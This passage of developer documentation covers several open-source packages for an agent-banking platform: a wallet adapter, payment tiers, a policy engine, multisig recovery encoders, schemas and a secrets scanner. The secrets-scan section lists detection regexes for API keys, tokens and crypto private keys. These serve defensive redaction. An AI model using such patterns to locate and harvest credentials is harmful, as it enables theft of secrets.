| `standard:events` | live |
| `solana:signMessage` | live |
| `ethereum:personalSign` | live |
| `solana:signAndSendTransaction` | stub (`E_NOT_IMPLEMENTED`) |
| `solana:signTransaction` | stub |
| `ethereum:signTypedData` | stub |
| `ethereum:sendTransaction` | stub |
| `stellar:signTransaction` | stub |
Stubs throw an error with `code: 'E_NOT_IMPLEMENTED'`. Agent runtimes
that probe features before calling them will route to a fallback wallet
rather than treating Glide as non-conformant.
## Wiring
Build the wallet with a `OwsSignerBackend` that your app provides, then
register it on the event bus.
```ts theme={null}
import {
buildGlideOwsWallet,
registerGlideOwsWallet,
type OwsSignerBackend,
} from '@glideco/ows-react-native';
// Your app's hardware-backed signer.
const enclaveBackend: OwsSignerBackend = {
async getAddress(chain) { /* … */ return '0xABC…'; },
async getPublicKey(chain) { /* … */ return 'base64url-pubkey'; },
async sign(request) { /* call iOS Secure Enclave / StrongBox */ },
};
const { wallet, refreshAccounts } = await buildGlideOwsWallet({
backend: enclaveBackend,
appVersion: '1.0.0',
chains: ['eip155:1', 'solana:mainnet'],
accountLabel: 'Glide Vault',
});
// Register on the Wallet Standard bus.
// Call this at app start — before any agent runtime fires wallet-standard:app-ready.
const { unregister } = registerGlideOwsWallet(wallet);
// Call when the user switches vaults.
await refreshAccounts();
```
## Event protocol
Two registration paths co-exist:
1. **Legacy**: `registerGlideOwsWallet` dispatches `wallet-standard:register-wallet`
on startup. Apps that pre-load wallets listen for this event and add
Glide to their wallet picker.
2. **Modern**: `registerGlideOwsWallet` also attaches a `wallet-standard:app-ready`
listener. Apps that bootstrap late fire `app-ready` with a `register`
callback; Glide calls `register(wallet)` to introduce itself.
Both events are handled. The `unregister` handle returned by
`registerGlideOwsWallet` removes the `app-ready` listener — call it on vault
switch before calling `registerGlideOwsWallet` again.
## OwsSignerBackend contract
```ts theme={null}
interface OwsSignerBackend {
getAddress(chain: OwsChain): Promise;
getPublicKey(chain: OwsChain): Promise;
sign(request: OwsSignRequest): Promise;
}
// OwsSignRequest (internal protocol — base64url for cross-runtime portability)
// {
// chain: OwsChain,
// address: string, // reject on mismatch
// message: string, // raw bytes, base64url
// typedData?: boolean, // true = EIP-712 JSON-encoded typed data
// reason: string, // shown in biometric prompt, max 200 chars
// }
```
Returning `null` from `getAddress` or `getPublicKey` signals that the backend
has no key for that chain; `buildGlideOwsWallet` omits that chain from
`wallet.accounts`.
## Duplicate chain guard
`buildGlideOwsWallet` throws if `chains` contains duplicate CAIP-2 entries.
Agent runtimes dispatch via `wallet.chains.includes(target)` and pick the
first match; duplicates cause the `change` event to fire twice for the same
chain on `refreshAccounts`.
## Reading list
* [Wallet Standard spec](https://wallet-standard.com/wallet)
* [Open Wallet Standard GitHub](https://github.com/wallet-standard/wallet-standard)
* [`@glideco/agent-identity`](/docs/oss/packages/agent-identity) — the `did:key` that backs the signing address.
* [`@glideco/schemas`](/docs/oss/packages/schemas) — `chainIdToCaip2()` for translating Glide chain ids to OWS CAIP-2 form.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/ows-react-native)
# @glideco/parley-tiers
Source: https://glide-9da73dea.mintlify.app/oss/packages/parley-tiers
Project smart-router rail candidates into turbo/fast/batch payment tiers. Pure function, no IO, additive to vanilla MPP.
Projects `@glideco/smart-router` rail candidates into the parley-protocol three-tier vocabulary: `turbo`, `fast`, and `batch`. Agents can present these tiers in a chooser UI, pass a tier preference to `payments.initiate`, or ignore tiers entirely — backward-compatible with vanilla MPP.
Pure functions, no IO.
## Install
```bash theme={null}
npm install @glideco/parley-tiers
```
[npmjs.com/package/@glideco/parley-tiers](https://www.npmjs.com/package/@glideco/parley-tiers)
## Why tiers
The smart-router returns a ranked list of rails sorted by fee. That list is the right output for the dispatcher, but it's the wrong surface for agents that need to give users a choice. "Tempo USDC — $0.05 — 800ms" and "Lightning via Spark — $0.01 — 200ms" are both valid options, but they mean different things to a user who's about to pay a contractor.
Parley tiers give that list a name. The three tiers cover the practical range:
* `turbo` — p95 latency ≤ 500ms, fee penalty acceptable.
* `fast` — p95 latency ≤ 5s, lowest fee within that ceiling.
* `batch` — p95 latency ≤ 10 min, cheapest path overall.
Thresholds are overridable. A B2B SLA might define `fast` as ≤ 500ms rather than ≤ 5s.
## API surface
### `buildParleyTiers(candidates, thresholds?): ParleyTier[]`
```ts theme={null}
import { buildParleyTiers } from '@glideco/parley-tiers';
const tiers = buildParleyTiers([
{
rail: 'tempo:usdc',
displayName: 'Tempo USDC',
feeCents: 5,
latencyP95Ms: 800,
confidence: 0.98,
feeCurrency: 'USD',
meta: {},
},
{
rail: 'lightning:spark',
displayName: 'Lightning via Spark',
feeCents: 1,
latencyP95Ms: 200,
confidence: 0.92,
feeCurrency: 'USD',
meta: {},
},
{
rail: 'sepa:monerium',
displayName: 'SEPA via Monerium',
feeCents: 0,
latencyP95Ms: 86400000, // 24h — too slow even for batch → dropped
confidence: 0.99,
feeCurrency: 'USD',
meta: {},
},
]);
// Returns ParleyTier[] — one entry per eligible (rail, tier) pair.
// Rails too slow for any tier are silently dropped.
// tiers[0] → { tier: 'turbo', rail: 'lightning:spark', rank: 1, ... }
// tiers[1] → { tier: 'fast', rail: 'lightning:spark', rank: 1, ... }
// tiers[2] → { tier: 'fast', rail: 'tempo:usdc', rank: 2, ... }
```
Within a tier, rails are sorted fee ASC → latency ASC → confidence DESC.
### `pickPreferredTier(tiers, preference): ParleyTier | undefined`
Returns the best candidate for the requested tier. If that tier has no candidates, falls back in the order:
* `turbo` → `fast` → `batch`
* `fast` → `turbo` → `batch`
* `batch` → `fast` → `turbo`
```ts theme={null}
import { buildParleyTiers, pickPreferredTier } from '@glideco/parley-tiers';
const tiers = buildParleyTiers(candidates);
const pick = pickPreferredTier(tiers, 'fast');
if (pick) {
await payments.initiate({
rail: pick.rail,
feeCents: pick.feeCents,
meta: { parleyTier: pick.tier, parleyRank: pick.rank },
});
}
```
### `classifyTier(latencyP95Ms, thresholds?): ParleyTierName | undefined`
Classify a single latency value without building the full tier list. Returns `undefined` when the latency exceeds the batch ceiling.
```ts theme={null}
import {
classifyTier,
DEFAULT_TIER_THRESHOLDS,
} from '@glideco/parley-tiers';
classifyTier(200); // 'turbo'
classifyTier(2000); // 'fast'
classifyTier(120_000); // 'batch'
classifyTier(900_000); // undefined — too slow
// Custom thresholds for a latency-sensitive B2B SLA
classifyTier(800, { turboMaxMs: 300, fastMaxMs: 800, batchMaxMs: 60_000 });
// → 'fast' (800ms is within the 800ms fast ceiling)
```
## Confidence flagging
Rail candidates carry a `confidence` field (0–1) set by the smart-router from observed success rate. `buildParleyTiers` preserves confidence on each `ParleyTier`. Low-confidence rails will rank behind higher-confidence rails with equal fee + latency, and the caller can choose to display a warning to the user when `confidence < 0.8`.
## Reading list
* [`@glideco/smart-router`](/docs/oss/packages/smart-router) — produces the `RouteCandidate[]` list you convert to `RailCandidate[]` for this package.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/parley-tiers)
# @glideco/policy-engine
Source: https://glide-9da73dea.mintlify.app/oss/packages/policy-engine
Pure-function policy-envelope evaluator for Glide agent banking. 14 axes, default-deny, chain-agnostic. Returns ALLOW / ALLOW_WITH_STEP_UP / DENY with reason codes.
Pure-function evaluator for Glide's `AgentPolicyEnvelope`. Given an envelope
and a `PolicyRequest`, `evaluate()` checks 14 independent policy axes and
returns a typed verdict with per-axis reason codes. No DB access, no network
calls, no side effects — the caller is responsible for fetching velocity
aggregates and for deciding whether the verdict enforces on Privy programmable
signing policy (EVM) or in a Redis state layer (Solana stateful axes).
The evaluator has default-deny semantics: any configured axis that cannot be
checked because required input is missing yields a `deny` reason rather than
silently passing. Axes that are `undefined` or carry empty arrays on the
envelope are skipped — "not configured" is not the same as "deny all" for most
axes (see the empty-allowlist table below).
## Install
```bash theme={null}
npm install @glideco/policy-engine
```
[npmjs.com/package/@glideco/policy-engine](https://www.npmjs.com/package/@glideco/policy-engine)
## Why pure functions?
A stateful evaluator couples tests to DB fixtures or Redis state. A pure
evaluator is a unit-testable function: every policy scenario is a data fixture
in a `describe` block. The caller fetches velocity aggregates from wherever they
live (Redis, Privy state, a Postgres materialized view) and passes them in as
`VelocityContext`. The engine doesn't care which source they came from.
This also means the engine is chain-agnostic. On EVM, Privy programmable signing
enforces `per_tx_max`, `counterparty_allowlist`, and `chain_allowlist` natively.
On Solana, stateful axes (`daily_cap`, `velocity_max_txs_per_day`) enforce in
the router's Redis layer. The same `evaluate()` call drives both paths.
## The 14 policy axes
| Axis | Input required | Empty-array semantic |
| ----------------------------------------- | ------------------------------------------------------------------------------ | ----------------------------------- |
| `chain_allowlist` | `request.counterparty.chain` | `deny` when counterparty is present |
| `amount_cap_cents_per_tx` | `request.amount_cents` | n/a (number) |
| `amount_cap_cents_per_day` | `velocity_context.amount_cents_spent_today` | n/a (number) |
| `amount_cap_cents_lifetime` | `velocity_context.amount_cents_spent_lifetime` | n/a (number) |
| `step_up_amount_cents` | `request.amount_cents` | n/a (soft trigger) |
| `counterparty_allowlist` | `request.counterparty` | `open` (any counterparty allowed) |
| `mcc_blocklist` | `request.mcc` | no-op |
| `mcc_allowlist` | `request.mcc` | `open` (any MCC allowed) |
| `geo_allowlist` | `request.geo` | `open` (any geo allowed) |
| `time_window_start` | `request.requested_at_unix` | n/a (optional) |
| `time_window_end` | `request.requested_at_unix` | n/a (optional) |
| `velocity_max_txs_per_hour` | `velocity_context.txs_in_last_hour` | n/a (number) |
| `velocity_max_txs_per_day` | `velocity_context.txs_in_last_day` | n/a (number) |
| `velocity_multiple_of_baseline_threshold` | `velocity_context.txs_in_last_hour` + `velocity_context.baseline_txs_per_hour` | n/a (number) |
`chain_allowlist: []` + a counterparty present → `deny`. This is the one axis
that defaults to deny rather than open when empty, because chain restriction is a
required posture for any agent that can transact.
## Basic evaluation
```ts theme={null}
import { evaluate } from '@glideco/policy-engine';
import type { AgentPolicyEnvelope, PolicyRequest } from '@glideco/policy-engine';
const envelope: AgentPolicyEnvelope = {
chain_allowlist: ['base', 'ethereum'],
amount_cap_cents_per_tx: 50_000, // $500.00
amount_cap_cents_per_day: 500_000, // $5,000.00
step_up_amount_cents: 25_000, // step-up at $250.00
counterparty_allowlist: [
{ address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045', chain: 'base', token: 'USDC' },
],
mcc_blocklist: ['7995', '7994'], // gambling MCCs
mcc_allowlist: [], // [] = open (allow any other MCC)
geo_allowlist: [], // [] = open (allow any geo)
velocity_max_txs_per_hour: 10,
velocity_max_txs_per_day: 50,
};
const request: PolicyRequest = {
action: 'transfer.sendUsdc',
amount_cents: 30_000, // $300.00 — above step-up threshold
currency: 'USDC',
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
requested_at_unix: Math.floor(Date.now() / 1000),
velocity_context: {
txs_in_last_hour: 2,
txs_in_last_day: 8,
amount_cents_spent_today: 45_000, // $450.00 already spent today
amount_cents_spent_lifetime: 210_000,
baseline_txs_per_hour: 3,
},
};
const verdict = evaluate(envelope, request);
// → { verdict: 'allow_with_step_up', reasons: [{ axis: 'step_up', ... }] }
```
## Handling deny
Any deny reason wins over a step-up trigger. The reasons array contains one
entry per failing axis:
```ts theme={null}
const overCap = evaluate(envelope, {
...request,
amount_cents: 60_000, // exceeds per_tx cap of 50_000
});
// → { verdict: 'deny', reasons: [{ axis: 'amount_per_tx', reason_id: 'per_tx_cap_exceeded', message: '...' }] }
// Multiple axes failing:
const multi = evaluate(envelope, {
...request,
amount_cents: 60_000,
counterparty: { address: '0xunknown', chain: 'arbitrum', token: 'USDC' },
});
// → { verdict: 'deny', reasons: [
// { axis: 'chain', reason_id: 'chain_not_allowed', ... },
// { axis: 'amount_per_tx', reason_id: 'per_tx_cap_exceeded', ... },
// ] }
```
## Missing velocity context
If the envelope configures a stateful axis (daily cap, velocity limits) but the
caller omits `velocity_context`, the evaluator returns `deny` with reason
`nil_input_velocity_context` rather than silently passing:
```ts theme={null}
const missing = evaluate(envelope, {
action: 'transfer.sendUsdc',
amount_cents: 10_000,
currency: 'USDC',
requested_at_unix: Math.floor(Date.now() / 1000),
// velocity_context omitted
});
// → { verdict: 'deny', reasons: [
// { axis: 'amount_per_day', reason_id: 'nil_input_velocity_context', ... },
// { axis: 'velocity_hour', reason_id: 'nil_input_velocity_context', ... },
// { axis: 'velocity_day', reason_id: 'nil_input_velocity_context', ... },
// ] }
```
## Narrowing detection for grant refresh
The package also exports `isNarrowingOrUnchanged`, used by the
`agent.grant.refresh` MCP tool to determine whether a policy update is safe to
apply without a principal step-up:
```ts theme={null}
import { isNarrowingOrUnchanged } from '@glideco/policy-engine';
const check = isNarrowingOrUnchanged(oldEnvelope, newEnvelope);
if (check.narrowed) {
// New policy is same or stricter on every axis — refresh without step-up.
await refreshGrant(grantId, newPolicyVersion);
} else {
// check.reason + check.details describe which axis was broadened.
// Caller must use agent.grant.issue with principal step-up instead.
return { error: 'policy_broadened', detail: check.reason };
}
```
Narrowing is checked per-axis:
* Amount caps: tighter = smaller number, or newly defined where previously absent.
* Allowlists: tighter = subset of the old list (every new entry must be in the old set).
* Blocklist: tighter = superset of the old list (removing a blocked MCC is broadening).
* Any single broadening on any axis → `narrowed: false`.
## Reading list
* [AgentPolicyEnvelope schema](https://glide.co/schemas/agent-banking/v1/agent-policy-envelope.json) —
the canonical schema for the envelope this package evaluates.
* [`@glideco/grant-wrapper`](/docs/oss/packages/grant-wrapper) — calls
`evaluate()` indirectly; `ctx.policy_version` from `verifyGrant` feeds the
stale-policy detection path.
* [Money-safety contracts](/docs/oss/concepts/money-safety-contracts) — the
F-rules that this engine's default-deny semantics reinforce.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/policy-engine)
# @glideco/recovery
Source: https://glide-9da73dea.mintlify.app/oss/packages/recovery
Pure encoders for Safe + Zodiac Delay (EVM) and Squads v4 (Solana) social-recovery proposals. I/O-free; operators wire their own KMS signer and RPC client.
Pure encoders for Glide's social-recovery primitives on two chains. The EVM side
targets Safe + Zodiac Delay Module v1.0.1: deploy and enable the module, queue a
recovery action into the 72-hour cooldown, execute after cooldown, cancel via
`setTxNonce`, and read on-chain queue state. The Solana side targets Squads v4:
compose the propose-triple (config-tx-create + proposal-create + proposal-approve)
for owner and threshold changes, plus proposal-cancel and config-transaction-execute
for the veto and execute paths.
Every export is a pure function that produces calldata bytes (EVM) or
`EncodedInstruction` (a serialisable wire shape exporting `accountMetas[]`,
`data`, `programId` — convertible to `web3.js TransactionInstruction` via the
helper) objects (Solana). The package is I/O-free: operators wire their own
KMS-held signer, chain RPC client, and DB. No signer loading, no network calls,
no state machine persistence — those live in the operator's application layer.
## Install
```bash theme={null}
npm install @glideco/recovery
```
[npmjs.com/package/@glideco/recovery](https://www.npmjs.com/package/@glideco/recovery)
## Why pure encoders?
A recovery package that bundles a KMS client, an RPC provider, and a state
machine is hard to audit, hard to test offline, and harder to replace when
dependencies change. Pure encoders separate the cryptographic and structural
work (what bytes to sign) from the operational work (who holds the key, which
RPC to call, how to persist state). The operator owns the sensitive parts;
this package owns the encoding.
The allowlist of accepted instruction discriminators (Solana) belongs in the
encoder package rather than the broadcaster because the broadcaster is the only
thing that can enforce it, and it needs the canonical set from the same source
that builds the instructions.
## EVM — enable recovery on a Safe
The first step generates the deterministic Delay Module address and a
two-call bundle (deploy + enable). One user-signed Safe transaction activates
recovery:
```ts theme={null}
import {
composeEnableRecoveryModuleCalls,
RECOVERY_COOLDOWN_SECONDS,
RECOVERY_EXPIRATION_SECONDS,
} from '@glideco/recovery';
const safeAddress = '0xA1B2c3D4e5F6a7B8c9D0e1F2a3B4c5D6e7F8a9B0';
const recoveryKeyAddress = '0xC3D4e5F6a7B8c9D0e1F2a3B4c5D6e7F8a9B0C1D2'; // Glide KMS (Seat R)
const setup = composeEnableRecoveryModuleCalls({
// The Safe address — enableModule must be called by the Safe itself
safe: safeAddress,
// DelayInitializerInput: configures the Delay module's owner, avatar, target, cooldown
initializer: {
owner: recoveryKeyAddress, // address allowed to queue recovery txs
avatar: safeAddress, // the Safe whose balance is acted on
target: safeAddress, // where execTransactionFromModule routes (== avatar)
cooldown: RECOVERY_COOLDOWN_SECONDS, // 72h default
expiration: RECOVERY_EXPIRATION_SECONDS, // 7d window to execute after cooldown
},
// Optional: masterCopy defaults to Zodiac Delay v1.0.1
// Optional: saltNonce defaults to 0n (first deployment on this Safe+chain pair)
});
// setup.moduleAddress — deterministic CREATE2 address for the Delay module
// setup.deploy — { to, value, data } call to deploy via ModuleProxyFactory
// setup.enable — { to, value, data } call to enableModule on the Safe
// Combine into a Safe multi-send and collect the user's signature:
const safeTx = buildMultiSend([setup.deploy, setup.enable]);
```
## EVM — queue and execute a recovery action
`composeRecoveryAction` is the high-level entry point. It takes the Safe + Delay
module addresses and a discriminated action spec, and returns the `innerTx` to
persist plus the pre-composed `queueCall` and `executeCall` the router broadcasts:
```ts theme={null}
import { composeRecoveryAction } from '@glideco/recovery';
// Recovery key proposes rotating to a new owner (e.g., after key loss):
const composed = composeRecoveryAction({
safe: '0xA1B2c3D4e5F6a7B8c9D0e1F2a3B4c5D6e7F8a9B0',
delayModuleAddress: setup.moduleAddress,
action: {
kind: 'swap_owner',
prevOwner: '0x0000000000000000000000000000000000000001', // sentinel — caller reads Safe.getOwners()
oldOwner: '0xB2C3d4E5f6A7b8C9D0e1F2a3B4C5d6E7F8a9B0C1', // lost key
newOwner: '0xC3D4e5F6a7B8c9D0e1F2a3B4c5D6e7F8a9B0C1D2', // replacement key
},
});
// Persist composed.innerTx to DB (status='pending')
// composed.queueCall — { to: delayModule, value: '0', data: '0x...' } — recovery key signs + broadcasts
// composed.executeCall — { to: delayModule, value: '0', data: '0x...' } — anyone broadcasts after cooldown
// composed.safe, composed.delayModuleAddress — echo of inputs (lowercased)
// composed.kind — 'swap_owner'
// composed.summary — human-readable one-liner for audit logs
// After 72h cooldown, broadcast the pre-composed execute call:
// (re-read innerTx from DB to ensure byte-stable replay)
const executeCall = composed.executeCall;
```
## EVM — read on-chain Delay Module queue state
```ts theme={null}
import { readDelayModuleQueueState } from '@glideco/recovery';
import { JsonRpcProvider } from 'ethers';
const provider = new JsonRpcProvider('https://mainnet.base.org');
const state = await readDelayModuleQueueState({
delayModuleAddress: setup.moduleAddress,
provider,
});
// state = {
// cooldownSeconds: 259200, // 72h
// expirationSeconds: 604800, // 7d window to execute after cooldown
// queueNonce: 1n, // next item to queue
// txNonce: 0n, // next item to execute (execute < queue = items pending)
// }
```
## Solana — Squads v4 recovery
The Squads encoder expands `swap_owner` into the two-instruction sequence
(RemoveMember + AddMember) because Squads v4 has no atomic SwapMember
instruction. The propose-triple is always three instructions:
config-tx-create, proposal-create, proposal-approve:
```ts theme={null}
import {
composeSolanaRecoveryAction,
composeSolanaCancelRecoveryInstruction,
recomposeSolanaExecuteRecoveryInstruction,
} from '@glideco/recovery';
// Seat R (recovery key) proposes swapping a lost member:
const composed = composeSolanaRecoveryAction({
multisigPda: 'GrAkKfEpTKQuVHG2Y97Y2FF4i7y7Q5AHLK94KB5hwkhU',
transactionIndex: BigInt(7),
currentThreshold: 2,
creator: '4Nd1mBQtrMJVYVfKf2PX98HegncxXSystemRecoveryKey', // Seat R base58 pubkey
recoveryActionId: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890', // DB row UUID — embedded in on-chain memo
action: {
kind: 'swap_owner',
oldMember: '4Nd1mBQtrMJVYVfKf2PX98HegncxXLostKeyPubkey1', // base58 — lost key
newMember: 'DHmk7x1qGQUos2nsfQ3sJMnFHRWXYReplacementKey1', // base58 — replacement key
},
});
// composed.proposeInstructions — [configTxCreate, proposalCreate, proposalApprove] (EncodedInstruction[])
// composed.executeInstruction — pre-composed configTransactionExecute (EncodedInstruction)
// composed.innerTx — SolanaInnerTx payload to persist in DB for replay
// composed.multisigPda — echo of input
// composed.transactionIndex — decimal string of the u64 index
// composed.kind — 'swap_owner'
// composed.summary — human-readable one-liner for audit logs
// User-initiated veto before cooldown ends:
const cancel = composeSolanaCancelRecoveryInstruction({
multisigPda: 'GrAkKfEpTKQuVHG2Y97Y2FF4i7y7Q5AHLK94KB5hwkhU',
transactionIndex: BigInt(7),
member: 'UserSeatAPubkeyBase58xxxxxxxxxxxxxxxxxxxxxxxxxxxx', // user's Seat A pubkey
recoveryActionId: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890', // same DB row UUID — for cancel memo
});
// returns a single EncodedInstruction (proposalCancel)
// Execute after cooldown — recompose from the persisted inner_tx:
const exec = recomposeSolanaExecuteRecoveryInstruction({
innerTx: composed.innerTx, // SolanaInnerTx from DB — NOT re-derived from scratch
member: '4Nd1mBQtrMJVYVfKf2PX98HegncxXSystemRecoveryKey', // Seat R — any multisig member works
});
// returns a single EncodedInstruction (configTransactionExecute)
```
## Solana — instruction-discriminator allowlist
The package exports the canonical set of accepted instruction discriminators for
the broadcaster's calldata-pinning check. Any instruction outside this set in a
recovery transaction is rejected before broadcast:
```ts theme={null}
import {
RECOVERY_ALLOWED_INSTRUCTION_HEX,
extractInstructionDiscriminatorHex,
} from '@glideco/recovery';
for (const ix of versionedTx.message.compiledInstructions) {
const disc = extractInstructionDiscriminatorHex(ix.data);
if (!RECOVERY_ALLOWED_INSTRUCTION_HEX.has(disc)) {
throw new Error(`recovery tx contains a non-recovery instruction: ${disc}`);
}
}
```
The allowlist covers config-tx-create, proposal-create, proposal-approve,
proposal-cancel, and config-transaction-execute discriminators for Squads v4.
## What this package does NOT include
* KMS or file-based signer loading (`ethers.Wallet`, `Keypair.fromSecretKey`, etc.).
* Database persistence of the multi-step recovery state machine.
* The Inngest cron that ticks queued EVM recoveries through cooldown → execute.
* Authorization checks — "is this principal allowed to start recovery on this vault?"
These live in
[`apps/web/src/server/lib/user-multisig/`](https://github.com/darshanbathija/axtior-neobank/tree/main/apps/web/src/server/lib/user-multisig)
in the source repo as a reference implementation operators can fork.
## Reading list
* [Money-safety contracts](/docs/oss/concepts/money-safety-contracts) — F2
(CAS-claim before broadcast) applies to the recovery broadcaster that
consumes this package's output.
* [`@glideco/grant-wrapper`](/docs/oss/packages/grant-wrapper) — the recovery
flow issues a scoped grant for Seat R; `verifyGrant` gates every
recovery-tool call before encoding begins.
* [Zodiac Delay Module](https://github.com/gnosisguild/zodiac-modifier-delay) —
upstream module reference; the constants and ABI fragments in this package
target v1.0.1.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/recovery)
# @glideco/schemas
Source: https://glide-9da73dea.mintlify.app/oss/packages/schemas
Zod schemas and closed-vocabulary types for Glide agent banking. TypeScript source of truth for the JSON Schemas published at glide.co/schemas/agent-banking.
Zod schemas and closed-vocabulary types for Glide agent banking. Every schema
in this package serves two purposes: it validates data at runtime in TypeScript,
and it generates the JSON Schema documents published at
`glide.co/schemas/agent-banking/draft/*` via a build script that converts
Zod's output to JSON Schema 2020-12.
The TypeScript schemas are the source of truth. The published JSON Schemas
are downstream artifacts — derived, not maintained by hand.
## Install
```bash theme={null}
npm install @glideco/schemas
```
[npmjs.com/package/@glideco/schemas](https://www.npmjs.com/package/@glideco/schemas)
## Zod schemas vs. JSON Schemas
| Layer | Where it lives | Who uses it |
| ------------ | --------------------------------------------- | ------------------------------------------------------------------------ |
| Zod schemas | `packages/schemas/src/*.ts` (this package) | TypeScript / tRPC / MCP server — parse and throw at runtime |
| JSON Schemas | `glide.co/schemas/agent-banking/draft/*.json` | External implementers, validators in other languages, the standards docs |
The build script at `scripts/build-json-schemas.mjs` calls Zod's JSON Schema
converter, wraps each output with `wrapSchema()` to add the canonical `$id`,
and writes both `apps/web/public/schemas/` (the served copy) and `dist/schemas/`
(the standalone artifact). The `$id` URL is what external consumers should
cite — the host is a deployment detail.
## Published schema names
| Schema name | `$id` (draft channel) |
| ----------------------- | ------------------------------------------------------------------------- |
| `connector-manifest` | `https://glide.co/schemas/agent-banking/draft/connector-manifest.json` |
| `agent-policy-envelope` | `https://glide.co/schemas/agent-banking/draft/agent-policy-envelope.json` |
| `agent-activity-event` | `https://glide.co/schemas/agent-banking/draft/agent-activity-event.json` |
| `trust-tier` | `https://glide.co/schemas/agent-banking/draft/trust-tier.json` |
| `scoped-grant-claims` | `https://glide.co/schemas/agent-banking/draft/scoped-grant-claims.json` |
| `skill-manifest` | `https://glide.co/schemas/agent-banking/draft/skill-manifest.json` |
| `grant` | `https://glide.co/schemas/agent-banking/draft/grant.json` |
| `receipt` | `https://glide.co/schemas/agent-banking/draft/receipt.json` |
Schemas publish at `/draft/` URLs until 3+ independent implementers exist.
Promotion to `/v1/` is an explicit, announced event.
## Core schemas
**AgentPolicyEnvelope** — the 14-axis policy evaluated by `@glideco/policy-engine`
on every agent tool call. Covers amount caps (per-tx, per-day, lifetime),
step-up threshold, counterparty allowlist, velocity limits, chain allowlist,
geo allowlist, MCC allow/block lists, and an absolute time window. An empty
`counterparty_allowlist` is fail-closed: the engine denies all counterparties.
**GrantClaims** — OAuth 2.0 / RFC 7519 JWT claims with RFC 8707 resource
indicators. The `aud` field carries both `vault_id` and `entity_id` (non-standard
object form); verifiers must check both. Max TTL is 60 minutes enforced by
`grantClaimsValidatedSchema`. The `act` (RFC 8693 actor) claim is always required
— missing means denied at the verifier.
**Receipt** — the tool-call receipt persisted in `activity_log` after every
money-touching MCP call settles. `on_chain_tx` is server-fetched from chain RPC,
never from a facilitator response body — a money-safety rule inherited from
x402.pay client-receipt-trust learnings.
**AgentScope** — closed vocabulary of 15 MCP scopes a grant can carry. Adding a
scope is a CODEOWNERS-protected change because the policy-engine evaluator must
understand the same set.
## Usage
```ts theme={null}
import { AgentPolicyEnvelope, GrantClaims, Receipt, agentScopeSchema } from '@glideco/schemas';
// Parse and throw on schema mismatch.
const envelope = AgentPolicyEnvelope.parse(rawJson);
// Validate grant claims including the 60-min TTL cap.
import { grantClaimsValidatedSchema } from '@glideco/schemas';
const claims = grantClaimsValidatedSchema.parse(jwtPayload);
// Validate a receipt before persisting it.
const receipt = Receipt.parse(activityLogRow);
// Check a scope string is in the closed vocabulary.
const scope = agentScopeSchema.parse('payments:initiate');
```
## CAIP-2 translation
`@glideco/schemas` exports `chainIdToCaip2()` and `caip2ToChainId()` for
translating between Glide's internal short-ids (`eth`, `sol`) and the
CAIP-2 wire form that x402, AP2, and ACP protocols carry.
```ts theme={null}
import { chainIdToCaip2, caip2ToChainId } from '@glideco/schemas';
chainIdToCaip2('eth'); // → 'eip155:1'
caip2ToChainId('eip155:8453'); // → 'base'
caip2ToChainId('eip155:9999'); // → null (callers must return 400, not fallback)
```
`BSC` (`bsc`) is deliberately excluded: USDC on BSC has 18 decimals vs. 6
everywhere else, which would silently underflow amount-in-cents math by 10^12.
## Building a JSON Schema for publication
```ts theme={null}
import { z } from 'zod';
import { wrapSchema, buildSchemaId } from '@glideco/schemas';
// Convert any Zod schema to a wrapped JSON Schema ready for publication.
const body = z.toJSONSchema(myZodSchema);
const wrapped = wrapSchema('grant', body, {
channel: 'draft',
title: 'Glide Grant Claims',
description: 'RFC 7519 JWT claims for an agent banking grant.',
});
// wrapped.$id → 'https://glide.co/schemas/agent-banking/draft/grant.json'
```
## Reading list
* [Standards overview](/docs/oss/standards/index) — the public standards namespace these schemas underpin.
* [ConnectorManifest standard](/docs/oss/standards/connector-manifest)
* [AgentPolicyEnvelope standard](/docs/oss/standards/agent-policy-envelope)
* [`@glideco/policy-engine`](https://www.npmjs.com/package/@glideco/policy-engine) — evaluates `AgentPolicyEnvelope` at runtime.
* [`@glideco/kya-vc`](/docs/oss/packages/kya-vc) — uses `canonicalJson` from this package for VC signing.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/schemas)
# @glideco/secrets-scan
Source: https://glide-9da73dea.mintlify.app/oss/packages/secrets-scan
Denylist + entropy secret scanner. Catches JWTs, API keys, PEM blocks, and private keys before they leak to logs or audit streams.
Two-pass secret scanner. The first pass matches known-format secrets against
curated regexes; the second catches high-entropy opaque blobs that didn't
match any pattern. Used in the Glide Trust Console event ingestion pipeline
to redact `ReasoningStepEvent.excerpt` before persistence, and as a CI gate
on every PR via `scripts/scan-secrets.mjs`.
## Install
```bash theme={null}
npm install @glideco/secrets-scan
```
[npmjs.com/package/@glideco/secrets-scan](https://www.npmjs.com/package/@glideco/secrets-scan)
## What it catches
| Kind | Detection method | Example pattern |
| -------------------- | ------------------ | ----------------------------------------------------- |
| `jwt` | denylist | `eyJ…` three-part structure |
| `pem-block` | denylist | `-----BEGIN … PRIVATE KEY-----` |
| `aws-access-key` | denylist | `AKIA[A-Z0-9]{16}` |
| `aws-secret-key` | denylist + context | contextual prefix required (`aws_secret_access_key=`) |
| `stripe-key` | denylist | `sk_live_`, `pk_test_`, `rk_live_` + 20+ chars |
| `github-pat` | denylist | `ghp_`, `gho_`, `ghu_`, `ghs_`, `ghr_` + 30+ chars |
| `slack-token` | denylist | `xox[abprs]-` |
| `gcp-key` | denylist | `AIza[0-9A-Za-z_-]{35}` |
| `anthropic-key` | denylist | `sk-ant-` + 20+ chars |
| `openai-key` | denylist | `sk-` + 20+ chars (after anthropic-key check) |
| `oauth-code` | denylist | `access_token=`, `refresh_token=` + value |
| `evm-private-key` | denylist + context | contextual prefix + `0x[a-f0-9]{64}` |
| `solana-private-key` | denylist + context | contextual prefix + base58 86–90 chars |
| `bearer` | denylist | `Bearer ` + 20–128 chars |
| `high-entropy` | entropy | ≥ 4.5 bits/char × ≥ 30 chars, not already redacted |
Anthropic keys are matched before OpenAI keys in the denylist order because
both share the `sk-` prefix — earlier rules win when ranges overlap.
## Basic usage
```ts theme={null}
